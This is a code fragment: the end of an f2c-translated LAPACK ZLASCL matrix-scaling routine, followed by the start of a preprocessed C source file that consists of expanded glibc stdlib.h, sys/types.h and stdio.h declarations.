for (i__ = f2cmax(i__2,1); i__ <= i__3; ++i__) {
i__2 = i__ + j * a_dim1;
i__4 = i__ + j * a_dim1;
z__1.r = mul * a[i__4].r, z__1.i = mul * a[i__4].i;
a[i__2].r = z__1.r, a[i__2].i = z__1.i;
/* L120: */
}
/* L130: */
}
} else if (itype == 6) {
/* Band matrix */
k1 = *kl + *ku + 2;
k2 = *kl + 1;
k3 = (*kl << 1) + *ku + 1;
k4 = *kl + *ku + 1 + *m;
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
/* Computing MAX */
i__3 = k1 - j;
/* Computing MIN */
i__4 = k3, i__5 = k4 - j;
i__2 = f2cmin(i__4,i__5);
for (i__ = f2cmax(i__3,k2); i__ <= i__2; ++i__) {
i__3 = i__ + j * a_dim1;
i__4 = i__ + j * a_dim1;
z__1.r = mul * a[i__4].r, z__1.i = mul * a[i__4].i;
a[i__3].r = z__1.r, a[i__3].i = z__1.i;
/* L140: */
}
/* L150: */
}
}
if (! done) {
goto L10;
}
return 0;
/* End of ZLASCL */
} /* zlascl_ */
|
the_stack_data/1211156.c | # 1 "get/getsrc/get_signe3.c"
# 1 "<組み込み>"
# 1 "<コマンドライン>"
# 1 "get/getsrc/get_signe3.c"
# 1 "/usr/include/stdlib.h" 1 3 4
# 25 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 324 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/predefs.h" 1 3 4
# 325 "/usr/include/features.h" 2 3 4
# 357 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 378 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 379 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 358 "/usr/include/features.h" 2 3 4
# 389 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 5 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 390 "/usr/include/features.h" 2 3 4
# 26 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/4.6/include/stddef.h" 1 3 4
# 212 "/usr/lib/gcc/x86_64-linux-gnu/4.6/include/stddef.h" 3 4
typedef long unsigned int size_t;
# 324 "/usr/lib/gcc/x86_64-linux-gnu/4.6/include/stddef.h" 3 4
typedef int wchar_t;
# 34 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 1 3 4
# 43 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 1 3 4
# 65 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 3 4
# 1 "/usr/include/endian.h" 1 3 4
# 37 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endian.h" 1 3 4
# 38 "/usr/include/endian.h" 2 3 4
# 61 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 2 3 4
# 62 "/usr/include/endian.h" 2 3 4
# 66 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 2 3 4
union wait
{
int w_status;
struct
{
unsigned int __w_termsig:7;
unsigned int __w_coredump:1;
unsigned int __w_retcode:8;
unsigned int:16;
} __wait_terminated;
struct
{
unsigned int __w_stopval:8;
unsigned int __w_stopsig:8;
unsigned int:16;
} __wait_stopped;
};
# 44 "/usr/include/stdlib.h" 2 3 4
# 68 "/usr/include/stdlib.h" 3 4
typedef union
{
union wait *__uptr;
int *__iptr;
} __WAIT_STATUS __attribute__ ((__transparent_union__));
# 96 "/usr/include/stdlib.h" 3 4
typedef struct
{
int quot;
int rem;
} div_t;
typedef struct
{
long int quot;
long int rem;
} ldiv_t;
__extension__ typedef struct
{
long long int quot;
long long int rem;
} lldiv_t;
# 140 "/usr/include/stdlib.h" 3 4
extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) ;
extern double atof (__const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern int atoi (__const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern long int atol (__const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
__extension__ extern long long int atoll (__const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern double strtod (__const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern float strtof (__const char *__restrict __nptr,
char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern long double strtold (__const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern long int strtol (__const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern unsigned long int strtoul (__const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
__extension__
extern long long int strtoq (__const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
__extension__
extern unsigned long long int strtouq (__const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
__extension__
extern long long int strtoll (__const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
__extension__
extern unsigned long long int strtoull (__const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 311 "/usr/include/stdlib.h" 3 4
extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern long int a64l (__const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
# 1 "/usr/include/x86_64-linux-gnu/sys/types.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
# 131 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4
# 132 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned long int __dev_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef unsigned long int __ino_t;
typedef unsigned long int __ino64_t;
typedef unsigned int __mode_t;
typedef unsigned long int __nlink_t;
typedef long int __off_t;
typedef long int __off64_t;
typedef int __pid_t;
typedef struct { int __val[2]; } __fsid_t;
typedef long int __clock_t;
typedef unsigned long int __rlim_t;
typedef unsigned long int __rlim64_t;
typedef unsigned int __id_t;
typedef long int __time_t;
typedef unsigned int __useconds_t;
typedef long int __suseconds_t;
typedef int __daddr_t;
typedef long int __swblk_t;
typedef int __key_t;
typedef int __clockid_t;
typedef void * __timer_t;
typedef long int __blksize_t;
typedef long int __blkcnt_t;
typedef long int __blkcnt64_t;
typedef unsigned long int __fsblkcnt_t;
typedef unsigned long int __fsblkcnt64_t;
typedef unsigned long int __fsfilcnt_t;
typedef unsigned long int __fsfilcnt64_t;
typedef long int __ssize_t;
typedef __off64_t __loff_t;
typedef __quad_t *__qaddr_t;
typedef char *__caddr_t;
typedef long int __intptr_t;
typedef unsigned int __socklen_t;
# 31 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __u_char u_char;
typedef __u_short u_short;
typedef __u_int u_int;
typedef __u_long u_long;
typedef __quad_t quad_t;
typedef __u_quad_t u_quad_t;
typedef __fsid_t fsid_t;
typedef __loff_t loff_t;
typedef __ino_t ino_t;
# 61 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __dev_t dev_t;
typedef __gid_t gid_t;
typedef __mode_t mode_t;
typedef __nlink_t nlink_t;
typedef __uid_t uid_t;
typedef __off_t off_t;
# 99 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __pid_t pid_t;
typedef __id_t id_t;
typedef __ssize_t ssize_t;
typedef __daddr_t daddr_t;
typedef __caddr_t caddr_t;
typedef __key_t key_t;
# 133 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/time.h" 1 3 4
# 58 "/usr/include/time.h" 3 4
typedef __clock_t clock_t;
# 74 "/usr/include/time.h" 3 4
typedef __time_t time_t;
# 92 "/usr/include/time.h" 3 4
typedef __clockid_t clockid_t;
# 104 "/usr/include/time.h" 3 4
typedef __timer_t timer_t;
# 134 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 147 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/4.6/include/stddef.h" 1 3 4
# 148 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
# 195 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef int int8_t __attribute__ ((__mode__ (__QI__)));
typedef int int16_t __attribute__ ((__mode__ (__HI__)));
typedef int int32_t __attribute__ ((__mode__ (__SI__)));
typedef int int64_t __attribute__ ((__mode__ (__DI__)));
typedef unsigned int u_int8_t __attribute__ ((__mode__ (__QI__)));
typedef unsigned int u_int16_t __attribute__ ((__mode__ (__HI__)));
typedef unsigned int u_int32_t __attribute__ ((__mode__ (__SI__)));
typedef unsigned int u_int64_t __attribute__ ((__mode__ (__DI__)));
typedef int register_t __attribute__ ((__mode__ (__word__)));
# 220 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/select.h" 1 3 4
# 31 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/select.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/select.h" 2 3 4
# 32 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/sigset.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/sigset.h" 3 4
typedef int __sig_atomic_t;
typedef struct
{
unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))];
} __sigset_t;
# 35 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
typedef __sigset_t sigset_t;
# 1 "/usr/include/time.h" 1 3 4
# 120 "/usr/include/time.h" 3 4
struct timespec
{
__time_t tv_sec;
long int tv_nsec;
};
# 45 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/time.h" 1 3 4
# 31 "/usr/include/x86_64-linux-gnu/bits/time.h" 3 4
struct timeval
{
__time_t tv_sec;
__suseconds_t tv_usec;
};
# 47 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
typedef __suseconds_t suseconds_t;
typedef long int __fd_mask;
# 65 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
typedef struct
{
__fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))];
} fd_set;
typedef __fd_mask fd_mask;
# 97 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 107 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int select (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
struct timeval *__restrict __timeout);
# 119 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int pselect (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
const struct timespec *__restrict __timeout,
const __sigset_t *__restrict __sigmask);
# 132 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 221 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/sysmacros.h" 1 3 4
# 30 "/usr/include/x86_64-linux-gnu/sys/sysmacros.h" 3 4
__extension__
extern unsigned int gnu_dev_major (unsigned long long int __dev)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
__extension__
extern unsigned int gnu_dev_minor (unsigned long long int __dev)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
__extension__
extern unsigned long long int gnu_dev_makedev (unsigned int __major,
unsigned int __minor)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
# 64 "/usr/include/x86_64-linux-gnu/sys/sysmacros.h" 3 4
# 224 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __blksize_t blksize_t;
typedef __blkcnt_t blkcnt_t;
typedef __fsblkcnt_t fsblkcnt_t;
typedef __fsfilcnt_t fsfilcnt_t;
# 271 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 2 3 4
# 50 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
typedef unsigned long int pthread_t;
typedef union
{
char __size[56];
long int __align;
} pthread_attr_t;
typedef struct __pthread_internal_list
{
struct __pthread_internal_list *__prev;
struct __pthread_internal_list *__next;
} __pthread_list_t;
# 76 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
typedef union
{
struct __pthread_mutex_s
{
int __lock;
unsigned int __count;
int __owner;
unsigned int __nusers;
int __kind;
int __spins;
__pthread_list_t __list;
# 101 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
} __data;
char __size[40];
long int __align;
} pthread_mutex_t;
typedef union
{
char __size[4];
int __align;
} pthread_mutexattr_t;
typedef union
{
struct
{
int __lock;
unsigned int __futex;
__extension__ unsigned long long int __total_seq;
__extension__ unsigned long long int __wakeup_seq;
__extension__ unsigned long long int __woken_seq;
void *__mutex;
unsigned int __nwaiters;
unsigned int __broadcast_seq;
} __data;
char __size[48];
__extension__ long long int __align;
} pthread_cond_t;
typedef union
{
char __size[4];
int __align;
} pthread_condattr_t;
typedef unsigned int pthread_key_t;
typedef int pthread_once_t;
typedef union
{
struct
{
int __lock;
unsigned int __nr_readers;
unsigned int __readers_wakeup;
unsigned int __writer_wakeup;
unsigned int __nr_readers_queued;
unsigned int __nr_writers_queued;
int __writer;
int __shared;
unsigned long int __pad1;
unsigned long int __pad2;
unsigned int __flags;
} __data;
# 187 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
char __size[56];
long int __align;
} pthread_rwlock_t;
typedef union
{
char __size[8];
long int __align;
} pthread_rwlockattr_t;
typedef volatile int pthread_spinlock_t;
typedef union
{
char __size[32];
long int __align;
} pthread_barrier_t;
typedef union
{
char __size[4];
int __align;
} pthread_barrierattr_t;
# 272 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 321 "/usr/include/stdlib.h" 2 3 4
extern long int random (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern char *initstate (unsigned int __seed, char *__statebuf,
size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct random_data
{
int32_t *fptr;
int32_t *rptr;
int32_t *state;
int rand_type;
int rand_deg;
int rand_sep;
int32_t *end_ptr;
};
extern int random_r (struct random_data *__restrict __buf,
int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srandom_r (unsigned int __seed, struct random_data *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int initstate_r (unsigned int __seed, char *__restrict __statebuf,
size_t __statelen,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));
extern int setstate_r (char *__restrict __statebuf,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int rand (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__));
extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int nrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int jrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__));
extern unsigned short int *seed48 (unsigned short int __seed16v[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct drand48_data
{
unsigned short int __x[3];
unsigned short int __old_x[3];
unsigned short int __c;
unsigned short int __init;
unsigned long long int __a;
};
extern int drand48_r (struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int erand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int nrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int mrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int jrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srand48_r (long int __seedval, struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int seed48_r (unsigned short int __seed16v[3],
struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lcong48_r (unsigned short int __param[7],
struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern void *calloc (size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern void *realloc (void *__ptr, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));
extern void cfree (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));
# 1 "/usr/include/alloca.h" 1 3 4
# 25 "/usr/include/alloca.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/4.6/include/stddef.h" 1 3 4
# 26 "/usr/include/alloca.h" 2 3 4
extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__));
# 498 "/usr/include/stdlib.h" 2 3 4
extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 531 "/usr/include/stdlib.h" 3 4
extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
# 554 "/usr/include/stdlib.h" 3 4
extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern char *getenv (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern char *__secure_getenv (__const char *__name)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int setenv (__const char *__name, __const char *__value, int __replace)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int unsetenv (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__));
# 606 "/usr/include/stdlib.h" 3 4
extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 620 "/usr/include/stdlib.h" 3 4
extern int mkstemp (char *__template) __attribute__ ((__nonnull__ (1))) ;
# 642 "/usr/include/stdlib.h" 3 4
extern int mkstemps (char *__template, int __suffixlen) __attribute__ ((__nonnull__ (1))) ;
# 663 "/usr/include/stdlib.h" 3 4
extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 712 "/usr/include/stdlib.h" 3 4
extern int system (__const char *__command) ;
# 734 "/usr/include/stdlib.h" 3 4
extern char *realpath (__const char *__restrict __name,
char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) ;
typedef int (*__compar_fn_t) (__const void *, __const void *);
# 752 "/usr/include/stdlib.h" 3 4
extern void *bsearch (__const void *__key, __const void *__base,
size_t __nmemb, size_t __size, __compar_fn_t __compar)
__attribute__ ((__nonnull__ (1, 2, 5))) ;
extern void qsort (void *__base, size_t __nmemb, size_t __size,
__compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4)));
# 771 "/usr/include/stdlib.h" 3 4
extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern long long int llabs (long long int __x)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern div_t div (int __numer, int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern ldiv_t ldiv (long int __numer, long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern lldiv_t lldiv (long long int __numer,
long long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
# 808 "/usr/include/stdlib.h" 3 4
extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *gcvt (double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern char *qecvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qfcvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qgcvt (long double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qecvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qfcvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int mblen (__const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int mbtowc (wchar_t *__restrict __pwc,
__const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__)) ;
extern size_t mbstowcs (wchar_t *__restrict __pwcs,
__const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern size_t wcstombs (char *__restrict __s,
__const wchar_t *__restrict __pwcs, size_t __n)
__attribute__ ((__nothrow__ , __leaf__));
extern int rpmatch (__const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 896 "/usr/include/stdlib.h" 3 4
extern int getsubopt (char **__restrict __optionp,
char *__const *__restrict __tokens,
char **__restrict __valuep)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) ;
# 948 "/usr/include/stdlib.h" 3 4
extern int getloadavg (double __loadavg[], int __nelem)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 964 "/usr/include/stdlib.h" 3 4
# 2 "get/getsrc/get_signe3.c" 2
# 1 "/usr/include/stdio.h" 1 3 4
# 30 "/usr/include/stdio.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/4.6/include/stddef.h" 1 3 4
# 35 "/usr/include/stdio.h" 2 3 4
# 45 "/usr/include/stdio.h" 3 4
struct _IO_FILE;
typedef struct _IO_FILE FILE;
# 65 "/usr/include/stdio.h" 3 4
typedef struct _IO_FILE __FILE;
# 75 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/libio.h" 1 3 4
# 32 "/usr/include/libio.h" 3 4
# 1 "/usr/include/_G_config.h" 1 3 4
# 15 "/usr/include/_G_config.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/4.6/include/stddef.h" 1 3 4
# 16 "/usr/include/_G_config.h" 2 3 4
# 1 "/usr/include/wchar.h" 1 3 4
# 83 "/usr/include/wchar.h" 3 4
typedef struct
{
int __count;
union
{
unsigned int __wch;
char __wchb[4];
} __value;
} __mbstate_t;
